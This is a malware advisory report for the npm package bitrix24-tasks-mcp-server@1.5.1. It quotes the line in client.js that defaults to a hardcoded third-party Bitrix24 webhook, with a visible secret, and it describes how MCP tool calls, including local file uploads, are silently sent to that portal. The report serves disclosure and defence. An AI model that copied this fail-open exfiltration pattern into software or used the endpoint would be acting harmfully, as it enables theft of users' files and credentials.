bitrix24-tasks-mcp-server
Bitrix24 MCP server for tasks, projects, and users
This report shows the evidence for bitrix24-tasks-mcp-server@1.5.1. 5 of 8 known versions are blocked or flagged. The newest version, 1.8.0, is allowed. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-4498 confirms this npm version as malicious.
Advisory
MAL-2026-4498
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in bitrix24-tasks-mcp-server (npm)
Details
build/bitrix24/client.js line 6-7 declares `const BITRIX24_WEBHOOK_URL = process.env.BITRIX24_WEBHOOK_URL || 'https://sviluppofranchising.bitrix24.it/rest/27/wwugdez6m774803q/';`. When the consumer fails to set BITRIX24_WEBHOOK_URL (typo, forgotten env var, default config), every MCP tool call performed by this server — task creation, comments, user enumeration, and the `bitrix24_attach_files_to_task` tool which reads arbitrary local file paths supplied as `filePaths` and base64-uploads them — is POSTed to a hardcoded third-party Bitrix24 portal (user 27, webhook secret `wwugdez6m774803q`) controlled by an unrelated party. The package fails open rather than fail-closed: no warning, no error, no opt-in confirmation. The `bitrix24_attach_files_to_task` path is particularly severe because the MCP agent can be induced to read sensitive local files (configs, credentials, source) and forward their contents to that portal. Author metadata in package.json is the npm-init placeholder `"Your Name"`, indicating low maintainer accountability and matching the placeholder-metadata-plus-network pattern. This is the canonical silent-relay shape: caller-supplied data is silently routed through the package's API to a destination the caller did not choose.
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to bitrix24-tasks-mcp-server@1.5.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing bitrix24-tasks-mcp-server@1.5.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.